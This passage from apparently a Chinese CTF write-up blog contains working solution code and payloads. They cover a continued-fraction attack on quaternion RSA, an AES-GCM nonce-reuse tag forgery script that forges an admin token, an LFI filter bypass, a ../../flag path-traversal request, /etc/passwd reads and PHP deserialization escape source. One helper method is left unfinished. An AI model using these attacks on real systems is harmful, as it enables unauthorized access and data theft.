$$ \lambda = \text{lcm}(p(p^2-1), q(q^2-1)) $$&lt;/p&gt;
&lt;p&gt;近似来看：$$ \lambda \approx p^3 q^3 = n^3 $$&lt;/p&gt;
&lt;p&gt;根据 RSA 的解密条件：$$ ed \equiv 1 \pmod \lambda $$
即存在整数 $k$ 使得：$$ ed = k\lambda + 1 $$&lt;/p&gt;
&lt;p&gt;由于 $e \approx n^3$ 且 $\lambda \approx n^3$，我们可以推测 $\frac{e}{n^3} \approx \frac{k}{d}$。
又因为 $d$ 非常小（500位），这符合 &lt;strong&gt;Wiener&apos;s Attack&lt;/strong&gt;（维纳攻击）的场景。我们可以利用连分数展开 $\frac{e}{n^3}$ 来寻找 $k/d$。&lt;/p&gt;
&lt;p&gt;更精确地分析 $\lambda$：$$ \lambda \approx (p^3-p)(q^3-q) \approx p^3q^3 - pq(p^2+q^2) \approx n^3 - n(p^2+q^2) $$&lt;/p&gt;
&lt;p&gt;代入 $ed \approx k\lambda$：$$ ed \approx k(n^3 - n(p^2+q^2)) $$，$$ \frac{e}{n^3} \approx \frac{k}{d} (1 - \frac{p^2+q^2}{n^2}) $$&lt;/p&gt;
&lt;p&gt;由于 $p, q \approx n^{1/2}$，故 $\frac{p^2+q^2}{n^2} \approx \frac{2n}{n^2} \approx \frac{2}{n}$，这是一个非常小的项，不影响连分数攻击的有效性。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;连分数攻击&lt;/strong&gt;：
对 $\frac{e}{n^3}$ 进行连分数展开，计算渐进分数，作为 $\frac{k}{d}$ 的候选值。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;恢复 $p, q$&lt;/strong&gt;：
对于每一组候选 $(k, d)$，我们可以估算 $\lambda$ 的一部分。
由 $ed - 1 = k \cdot Y$，其中 $Y \approx \lambda$。我们有 $Y \approx n^3 - n(p^2+q^2)$。从而可以计算出 $S = p^2 + q^2 \approx \frac{n^3 - Y}{n}$。&lt;/p&gt;
&lt;p&gt;有了 $p^2+q^2$ 和 $p^2q^2 = n^2$，我们可以构造一元二次方程求解 $p^2$ 和 $q^2$：$$ X^2 - (p^2+q^2)X + (pq)^2 = 0 $$，解出 $p^2$ 后开方即可得到 $p$，进而得到 $q$。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;解密&lt;/strong&gt;：
得到 $p, q$ 后，计算准确的 $\lambda = \text{lcm}(p(p^2-1), q(q^2-1))$。计算私钥 $d = e^{-1} \pmod \lambda$。使用私钥对密文进行四元数幂模运算解密。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;利用连分数恢复 $p, q$。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
import math

n = 
e = 

def continued_fraction(numerator, denominator):
    while denominator:
        q = numerator // denominator
        yield q
        numerator, denominator = denominator, numerator % denominator

def convergents(cf):
    n0, d0 = 0, 1
    n1, d1 = 1, 0
    for q in cf:
        n2, d2 = q * n1 + n0, q * d1 + d0
        yield n2, d2
        n0, d0 = n1, d1
        n1, d1 = n2, d2

def is_perfect_square(n):
    if n &amp;lt; 0: return False
    x = int(math.isqrt(n))
    return x * x == n

def solve_quadratic(a, b, c):
    # ax^2 + bx + c = 0
    delta = b*b - 4*a*c
    if delta &amp;lt; 0: return None
    if not is_perfect_square(delta): return None
    sqrt_delta = math.isqrt(delta)
    if ( -b + sqrt_delta ) % (2*a) == 0:
        return ( -b + sqrt_delta ) // (2*a)
    return None

cf = continued_fraction(e, n**3)
convs = convergents(cf)

for K, d in convs:
    if d == 0: continue
    if K == 0: continue
    
    # Check if d is around 500 bits
    if d.bit_length() &amp;gt; 510:
        # We can stop if d gets too large, but let&apos;s check a bit further just in case
        if d.bit_length() &amp;gt; 520:
            break
            
    # Y = (ed - 1) / K
    # Y = n^3 - n(p^2+q^2) + n
    # n(p^2+q^2) = n^3 + n - Y
    
    if (e*d - 1) % K != 0:
        continue
        
    Y = (e*d - 1) // K
    val = n**3 + n - Y
    if val % n != 0:
        continue
        
    sum_sq = val // n # p^2 + q^2
    
    # We have p^2 + q^2 = sum_sq
    # We have p^2 * q^2 = n^2
    # Z^2 - sum_sq * Z + n^2 = 0  (roots are p^2, q^2)
    
    res = solve_quadratic(1, -sum_sq, n**2)
    if res:
        p2 = res
        if is_perfect_square(p2):
            p = math.isqrt(p2)
            if n % p == 0:
                print(f&quot;Found p: {p}&quot;)
                q = n // p
                print(f&quot;Found q: {q}&quot;)
                
                # Verify d
                # We need to construct the QN class and decrypt
                break
else:
    print(&quot;Failed to find p, q&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用恢复的 $p, q$ 解密 flag。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

n = 
e = 
c_tuple = 

p = 
q = 

class QN:
    def __init__(self, a, b, c, d, n):
        self.a = a % n
        self.b = b % n
        self.c = c % n
        self.d = d % n
        self.n = n
    def __mul__(self, other):
        if isinstance(other, QN) and self.n == other.n:
            n = self.n
            a1, b1, c1, d1 = self.a, self.b, self.c, self.d
            a2, b2, c2, d2 = other.a, other.b, other.c, other.d
            a = (a1*a2 - b1*b2 - c1*c2 - d1*d2) % n
            b = (a1*b2 + b1*a2 + c1*d2 - d1*c2) % n
            c = (a1*c2 - b1*d2 + c1*a2 + d1*b2) % n
            d = (a1*d2 + b1*c2 - c1*b2 + d1*a2) % n
            return QN(a, b, c, d, n)
        return NotImplemented
    def __pow__(self, exp):
        if exp &amp;lt;= 0:
            return QN(1, 0, 0, 0, self.n)
        result = QN(1, 0, 0, 0, self.n)
        base = self
        while exp &amp;gt; 0:
            if exp &amp;amp; 1:
                result = result * base
            base = base * base
            exp &amp;gt;&amp;gt;= 1
        return result
    def __repr__(self):
        return f&quot;({self.a}, {self.b}, {self.c}, {self.d})&quot;

def LCM(a, b):
    return abs(a*b) // GCD(a,b)

lam_p = p * (p**2 - 1)
lam_q = q * (q**2 - 1)
lam = LCM(lam_p, lam_q)

d = inverse(e, lam)
print(f&quot;Recovered d bits: {d.bit_length()}&quot;)

c = QN(c_tuple[0], c_tuple[1], c_tuple[2], c_tuple[3], n)
m = pow(c, d)

try:
    print(long_to_bytes(m.a))
except:
    print(&quot;Failed to convert m.a to bytes&quot;)
    print(m.a)

# flag{Qu4t3rNion_l5_S0_6rea7_&amp;amp;_Ch4rm1n9}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;POC&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;服务器提供了一个 &lt;code&gt;PaddingOracleClass&lt;/code&gt; 类。&lt;/li&gt;
&lt;li&gt;用户可以更新 &lt;code&gt;nonce&lt;/code&gt;，每次更新后 &lt;code&gt;cnt&lt;/code&gt; 重置为 2。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;register&lt;/code&gt; 和 &lt;code&gt;login&lt;/code&gt; 操作都会消耗 &lt;code&gt;cnt&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;漏洞点：在同一个 &lt;code&gt;nonce&lt;/code&gt; 下，我们可以进行两次 &lt;code&gt;register&lt;/code&gt; 操作。这意味着我们可以获得两组使用相同 Key 和 Nonce 加密的 (Ciphertext, Tag) 对。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;漏洞原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AES-GCM 是一种流加密模式（CTR）加上认证（GMAC）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;加密 (Encryption)&lt;/strong&gt;:$$C = P \oplus \text{Keystream}$$
Keystream 由 Key 和 Nonce 生成。如果 Key 和 Nonce 不变，Keystream 也不变。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;认证 (Authentication)&lt;/strong&gt;:
GCM 的 Tag 计算基于 GHASH 函数：$$T = \text{GHASH}_H(A, C) \oplus E_K(J_0)$$
其中 $H = E_K(0)$ 是认证密钥，$E_K(J_0)$ 是用于掩盖 Tag 的掩码。&lt;/p&gt;
&lt;p&gt;对于单块（或忽略长度块影响的简化模型），GHASH 大致结构为多项式求值。在本题中，没有关联数据 (AAD)，且假设我们关注密文块的影响。$$T = (C \cdot H^2 + L \cdot H) \oplus E_K(J_0)$$
&lt;em&gt;(注：实际 GCM 多项式更复杂，包含长度块 L，但在差分时常数项和相同长度的 L 会抵消)&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;攻击路径&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：恢复认证密钥 H&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当我们使用相同的 Nonce 注册两个不同的用户名时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一组：$(C_1, T_1)$&lt;/li&gt;
&lt;li&gt;第二组：$(C_2, T_2)$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于 Nonce 相同，$E_K(J_0)$ 相同。$$T_1 \oplus T_2 = \text{GHASH}_H(C_1) \oplus \text{GHASH}_H(C_2)$$&lt;/p&gt;
&lt;p&gt;利用 GCM 的线性性质（在 GF(2^128) 上）：$$T_1 \oplus T_2 = (C_1 \oplus C_2) \cdot H^2$$&lt;/p&gt;
&lt;p&gt;由此我们可以解出 $H^2$，进而求平方根得到 $H$：$$H^2 = (T_1 \oplus T_2) \cdot (C_1 \oplus C_2)^{-1}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：伪造 Admin Token&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;得到 $H$ 后，我们就可以伪造任意密文的 Tag。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;更新 Nonce（重置 &lt;code&gt;cnt&lt;/code&gt;），并注册一个新的随机用户 $P_3$，得到 $(C_3, T_3)$。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取密钥流&lt;/strong&gt;：$$K = C_3 \oplus P_3$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;伪造密文&lt;/strong&gt;：
目标明文 $P_{admin} = \text{pad(b&quot;admin&quot;)}$
$$C_{admin} = P_{admin} \oplus K$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;伪造 Tag&lt;/strong&gt;：
利用已知的 $(C_3, T_3)$ 和目标 $C_{admin}$ 计算差分：
$$T_{admin} \oplus T_3 = (C_{admin} \oplus C_3) \cdot H^2$$
$$T_{admin} = T_3 \oplus ((C_{admin} \oplus C_3) \cdot H^2)$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;发送伪造的 Token $(C_{admin}, T_{admin})$ 进行登录，即可通过验证并获取 Flag。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;p&gt;我们需要实现 $$GF(2^{128})$$ 上的运算（加法、乘法、求逆、开方）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$$GF(2^{128})$$运算库&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;def bytes_to_long(b):
    return int.from_bytes(b, &apos;big&apos;)

def long_to_bytes(n):
    return n.to_bytes(16, &apos;big&apos;)

class GField:
    
    def __init__(self, val=0):
        self.val = val

    def __add__(self, other):
        return GField(self.val ^ other.val)

    def __mul__(self, other):
        x = self.val
        y = other.val
        res = 0
        for i in range(128):
            if (y &amp;gt;&amp;gt; (127 - i)) &amp;amp; 1:
                res ^= x
            if x &amp;amp; 1:
                x = (x &amp;gt;&amp;gt; 1) ^ 0xE1000000000000000000000000000000
            else:
                x &amp;gt;&amp;gt;= 1
        return GField(res)

    def pow(self, n):
        res = GField(1 &amp;lt;&amp;lt; 127) 
        pass


def gcm_mul(a, b):
    # a and b are 128-bit integers
    p = 0
    for i in range(128):
        if (b &amp;gt;&amp;gt; i) &amp;amp; 1:
            p ^= a
        if (a &amp;gt;&amp;gt; 127) &amp;amp; 1:
            a = (a &amp;lt;&amp;lt; 1) ^ 0xE1
        else:
            a &amp;lt;&amp;lt;= 1

    return p


def gf_mult(x, y):

    p = 0
    for i in range(128):
        if (y &amp;gt;&amp;gt; i) &amp;amp; 1:
            p ^= x
        if (x &amp;gt;&amp;gt; 127) &amp;amp; 1:
            x = (x &amp;lt;&amp;lt; 1) ^ 135
        else:
            x &amp;lt;&amp;lt;= 1
    return p



def reverse_bits(n):
    # Reverse bits of 128-bit integer
    s = bin(n)[2:].zfill(128)
    return int(s[::-1], 2)



def gcm_to_poly(n):
    return reverse_bits(n)

def poly_to_gcm(n):
    return reverse_bits(n)

# Now standard arithmetic:
def gf_mul(a, b):
    p = 0
    mask = (1 &amp;lt;&amp;lt; 128) - 1
    for i in range(128):
        if (b &amp;gt;&amp;gt; i) &amp;amp; 1:
            p ^= a
        if (a &amp;gt;&amp;gt; 127) &amp;amp; 1:
            a = ((a &amp;lt;&amp;lt; 1) ^ 135) &amp;amp; mask
        else:
            a = (a &amp;lt;&amp;lt; 1) &amp;amp; mask
    return p

def gf_pow(a, n):
    res = 1
    while n &amp;gt; 0:
        if n % 2 == 1:
            res = gf_mul(res, a)
        a = gf_mul(a, a)
        n //= 2
    return res

def gf_inv(a):
    # a^(2^128 - 2)
    return gf_pow(a, (1 &amp;lt;&amp;lt; 128) - 2)

def gf_sqrt(a):
    # a^(2^127)
    return gf_pow(a, 1 &amp;lt;&amp;lt; 127)


&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;攻击脚本&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
from Crypto.Util.Padding import pad
from gcm_util import gcm_to_poly, poly_to_gcm, gf_mul, gf_inv, gf_sqrt, bytes_to_long, long_to_bytes


context.log_level = &apos;info&apos;

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def solve():
    r = remote(&quot;pwn-c46f6a2305.challenge.xctf.org.cn&quot;, 9999, ssl=True)
    
    def update_nonce(nonce_bytes):
        r.sendlineafter(b&apos;&amp;gt;&apos;, b&apos;U&apos;)
        r.sendlineafter(b&apos;nonce(hex)&amp;gt;&apos;, nonce_bytes.hex().encode())

    def register():
        r.sendlineafter(b&apos;&amp;gt;&apos;, b&apos;R&apos;)
        r.recvuntil(b&quot;Register!\n&quot;)
        token_hex = r.recvline().strip()
        username_hex = r.recvline().strip()
        token = bytes.fromhex(token_hex.decode())
        username = bytes.fromhex(username_hex.decode())
        return token, username

    def login(token_bytes):
        r.sendlineafter(b&apos;&amp;gt;&apos;, b&apos;L&apos;)
        r.sendlineafter(b&apos;token(hex)&amp;gt;&apos;, token_bytes.hex().encode())
        res = r.recvline() # Login!
        if b&quot;Login!&quot; in res:
            try:
                flag = r.recvall(timeout=2)
                print(&quot;Flag received:&quot;)
                print(flag.decode())
            except:
                print(&quot;No flag or connection closed.&quot;)
        else:
            print(f&quot;Login response: {res}&quot;)

    # Step 1: Nonce 1
    nonce1 = os.urandom(12)
    update_nonce(nonce1)
    
    # Register twice
    token1, u1 = register()
    c1 = token1[:16]
    t1 = token1[16:]
    p1 = pad(u1, 16)
    
    token2, u2 = register()
    c2 = token2[:16]
    t2 = token2[16:]
    p2 = pad(u2, 16)
    
    log.info(&quot;Got 2 pairs from nonce 1&quot;)
    
    # Recover H
    poly_t1 = gcm_to_poly(bytes_to_long(t1))
    poly_t2 = gcm_to_poly(bytes_to_long(t2))
    poly_c1 = gcm_to_poly(bytes_to_long(c1))
    poly_c2 = gcm_to_poly(bytes_to_long(c2))
    
    diff_t = poly_t1 ^ poly_t2
    diff_c = poly_c1 ^ poly_c2
    
    inv_diff_c = gf_inv(diff_c)
    h2 = gf_mul(diff_t, inv_diff_c)
    h = gf_sqrt(h2)
    
    log.info(f&quot;Recovered H: {hex(poly_to_gcm(h))}&quot;)
    
    # Step 2: Nonce 2
    nonce2 = os.urandom(12)
    update_nonce(nonce2)
    
    # Register once
    token3, u3 = register()
    c3 = token3[:16]
    t3 = token3[16:]
    p3 = pad(u3, 16)
    
    # Forge
    target_p = pad(b&quot;admin&quot;, 16)
    keystream = xor_bytes(c3, p3)
    target_c = xor_bytes(target_p, keystream)
    
    poly_t3 = gcm_to_poly(bytes_to_long(t3))
    poly_c3 = gcm_to_poly(bytes_to_long(c3))
    poly_target_c = gcm_to_poly(bytes_to_long(target_c))
    
    diff_c_new = poly_target_c ^ poly_c3
    delta_t = gf_mul(diff_c_new, h2)
    
    poly_target_t = poly_t3 ^ delta_t
    target_t = long_to_bytes(poly_to_gcm(poly_target_t))
    
    fake_token = target_c + target_t
    
    log.info(&quot;Forged token. Logging in...&quot;)
    login(fake_token)

if __name__ == &quot;__main__&quot;:
    solve()
# flag{Dv16jo7D5Lo2Z8HJMcjBpgWe41ur6hnu}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HSCCTF2025</title><link>https://sinqwq.top/posts/hscctf2025/</link><guid isPermaLink="true">https://sinqwq.top/posts/hscctf2025/</guid><description>HSCCTF2025</description><pubDate>Sun, 07 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;WEB&lt;/h1&gt;
&lt;h2&gt;Time capsule&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 题目分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;打开题目网站，我们看到一个“时间胶囊”应用，主要功能包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;设置解锁时间&lt;/strong&gt;：用户输入用户名和解锁时间戳。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查看状态&lt;/strong&gt;：检查当前用户的时间胶囊是否已解锁。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读取文件&lt;/strong&gt;：一个 API 接口允许读取文件内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过观察网络请求，发现应用使用了 &lt;strong&gt;JWT (JSON Web Token)&lt;/strong&gt; 进行身份验证，Cookie 中包含 &lt;code&gt;token&lt;/code&gt; 字段。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键接口&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;POST /api/set_unlock_time&lt;/code&gt;: 设置用户信息，返回 JWT。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /api/read_file?file=&amp;lt;path&amp;gt;&lt;/code&gt;: 读取服务器文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;漏洞探测&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;2.1 伪造与爆破尝试&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JWT 爆破&lt;/strong&gt;: 尝试使用常见弱口令（如 &lt;code&gt;secret&lt;/code&gt;, &lt;code&gt;123456&lt;/code&gt;）爆破 &lt;code&gt;HS256&lt;/code&gt; 密钥，未成功。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JWT &lt;code&gt;None&lt;/code&gt; 算法&lt;/strong&gt;: 尝试修改算法为 &lt;code&gt;None&lt;/code&gt; 进行伪造，服务器返回 &lt;code&gt;invalid token&lt;/code&gt;，说明有校验。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSTI&lt;/strong&gt;: 在用户名中输入 &lt;code&gt;{{7*7}}&lt;/code&gt;，服务器原样返回，无服务端模板注入漏洞。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2.2 LFI&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是本题的突破口。当我们使用 &lt;code&gt;/api/read_file&lt;/code&gt; 读取文件时，发现奇怪的行为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;读取 &lt;code&gt;/etc/passwd&lt;/code&gt; 或其他常见文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;content&quot;: &quot;flag{wuhu~}&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器返回了一个假的 flag，说明大多数文件读取请求被 Mock 了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尝试读取 &lt;code&gt;/flag&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;content&quot;: &quot;拒绝访问: flag 文件访问被拒绝&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器明确拦截了 &lt;code&gt;flag&lt;/code&gt; 关键字。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尝试路径遍历 &lt;code&gt;../../etc/passwd&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;content&quot;: &quot;拒绝访问：路径包含禁止的模式&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器拦截了 &lt;code&gt;..&lt;/code&gt; 和 &lt;code&gt;//&lt;/code&gt; 等路径遍历符号。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;3. 漏洞利用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过上述分析，我们确认存在一个 &lt;strong&gt;LFI 漏洞&lt;/strong&gt;，但有一个黑名单过滤器在保护真正的 flag 文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;过滤器逻辑推测&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;禁止包含 &lt;code&gt;flag&lt;/code&gt; (小写) 的字符串。&lt;/li&gt;
&lt;li&gt;禁止路径遍历符号。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;绕过思路&lt;/strong&gt;：
尝试利用文件名的大小写特性绕过过滤器。既然过滤器拦截 &lt;code&gt;flag&lt;/code&gt;，我们尝试请求 &lt;code&gt;FLAG&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;攻击 Payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -b &quot;token=&amp;lt;你的JWT Token&amp;gt;&quot; &quot;http://150.138.XX.XXX:XXXXX/api/read_file?file=FLAG&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;响应结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;content&quot;: &quot;HSCCTF{05ce8eaf-da01-449d-b199-f04ef341f68e}&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功！服务器的过滤器只匹配了小写的 &lt;code&gt;flag&lt;/code&gt;，但并未拦截大写的 &lt;code&gt;FLAG&lt;/code&gt;，且文件系统允许通过大写文件名访问。&lt;/p&gt;
&lt;h2&gt;SSRF&lt;/h2&gt;
&lt;h2&gt;Horse&lt;/h2&gt;
&lt;p&gt;访问目标网站，首先发现需要伪造 &lt;code&gt;User-Agent&lt;/code&gt; 才能正常访问（如使用 &lt;code&gt;Mozilla/5.0&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;通过目录扫描和文件枚举，发现了以下关键文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/start.sh&lt;/code&gt;&lt;/strong&gt;: 内容显示 &lt;code&gt;echo $FLAG &amp;gt; /flag&lt;/code&gt;，这确认了 Flag 的绝对路径为 &lt;code&gt;/flag&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/password/pass.list&lt;/code&gt;&lt;/strong&gt;: 一个密码字典文件，暗示可能需要爆破。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/Dockerfile&lt;/code&gt;&lt;/strong&gt;: 确认了运行环境。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/modes/&lt;/code&gt; 目录&lt;/strong&gt;: 存放了 &lt;code&gt;1.php&lt;/code&gt;, &lt;code&gt;2.php&lt;/code&gt; 等文件，对应网站的“模式”功能。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;主要交互逻辑在两个文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;change_mode.php&lt;/code&gt;: 用于登录并设置用户的“模式” (&lt;code&gt;ctfer_mode&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;get_mode.php&lt;/code&gt;: 用于显示当前设置的模式。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;参数 &lt;code&gt;ctfer_mode&lt;/code&gt; 看起来非常可疑，正常请求中它的值为 &lt;code&gt;1.php&lt;/code&gt;。结合 &lt;code&gt;/modes/&lt;/code&gt; 目录的存在，推测后端代码可能类似于：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include &quot;./modes/&quot; . $_POST[&apos;ctfer_mode&apos;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这极有可能存在 &lt;strong&gt;本地文件包含 (LFI)&lt;/strong&gt; 漏洞。&lt;/p&gt;
&lt;p&gt;尝试利用漏洞前，发现必须先登录。登录表单字段为 &lt;code&gt;ctfers&lt;/code&gt; (用户名) 和 &lt;code&gt;ctfpass&lt;/code&gt; (密码)。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用户名猜测&lt;/strong&gt;: 根据字段名 &lt;code&gt;ctfers&lt;/code&gt;，猜测用户名可能是 &lt;code&gt;ctfers&lt;/code&gt; 或 &lt;code&gt;admin&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码爆破&lt;/strong&gt;: 结合 &lt;code&gt;pass.list&lt;/code&gt; 或常见弱口令进行测试。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用脚本对 &lt;code&gt;ctfers&lt;/code&gt; 用户进行爆破，成功发现密码为 &lt;code&gt;12345678&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;登录成功后，我们可以在 &lt;code&gt;change_mode.php&lt;/code&gt; 的 POST 请求中通过修改 &lt;code&gt;ctfer_mode&lt;/code&gt; 参数来触发 LFI。&lt;/p&gt;
&lt;p&gt;由于预期的路径可能是 &lt;code&gt;modes/&lt;/code&gt; 目录下，我们需要使用 &lt;code&gt;../&lt;/code&gt; 进行路径穿越回到根目录读取 &lt;code&gt;/flag&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;../../flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;攻击请求 (HTTP Request):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /change_mode.php HTTP/1.1
Host: 150.138.81.18:12433
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=&amp;lt;your_session_id&amp;gt;

ctfers=ctfers&amp;amp;ctfpass=12345678&amp;amp;ctfer_mode=../../flag
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Baby Cloud&lt;/h2&gt;
&lt;p&gt;访问题目提供的链接，直接给出了 PHP 源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
include(&apos;flag.php&apos;);
class race
{
    public $rainbow;
    public $pinkie;
    public $fail = 1;
    public function __construct($rainbow, $pinkie)
    {
        $this-&amp;gt;rainbow = $rainbow;
        $this-&amp;gt;pinkie = $pinkie;
    }
}
if (isset($_GET[&apos;rainbow&apos;]) &amp;amp;&amp;amp; isset($_GET[&apos;pinkie&apos;])) {
    $rainbow = $_GET[&apos;rainbow&apos;];
    $pinkie = $_GET[&apos;pinkie&apos;];
    $_RACE = new race($rainbow, $pinkie);
    if (preg_match(&apos;/wonderful/&apos;, $rainbow)) {
        $twlight_freeze_magic = serialize($_RACE);
        $twlight_change_magic = str_replace(&apos;awesome&apos;, &apos;awesomer&apos;, $twlight_freeze_magic);
        $twlight_resume_magic = unserialize($twlight_change_magic);
        if ($twlight_resume_magic-&amp;gt;fail == 0) {
            echo $flag;
        } else {
            echo &quot;rainbow is not wonderful&quot;;
            echo &quot;flag{17de01b1-56d5-45d1-8b86-475811b32634}&quot;; // 假的 flag
        }
    } else {
        // ... (省略无关输出)
    }
} else {
    highlight_file(__FILE__);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键逻辑：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;接收 &lt;code&gt;rainbow&lt;/code&gt; 和 &lt;code&gt;pinkie&lt;/code&gt; 参数创建 &lt;code&gt;race&lt;/code&gt; 对象。&lt;/li&gt;
&lt;li&gt;序列化对象：&lt;code&gt;serialize($_RACE)&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;字符串替换&lt;/strong&gt;：将 &lt;code&gt;awesome&lt;/code&gt; 替换为 &lt;code&gt;awesomer&lt;/code&gt;。注意 &lt;code&gt;awesome&lt;/code&gt; 是 7 个字符，&lt;code&gt;awesomer&lt;/code&gt; 是 8 个字符。每替换一次，字符串长度增加 1。&lt;/li&gt;
&lt;li&gt;反序列化：&lt;code&gt;unserialize&lt;/code&gt;。&lt;/li&gt;
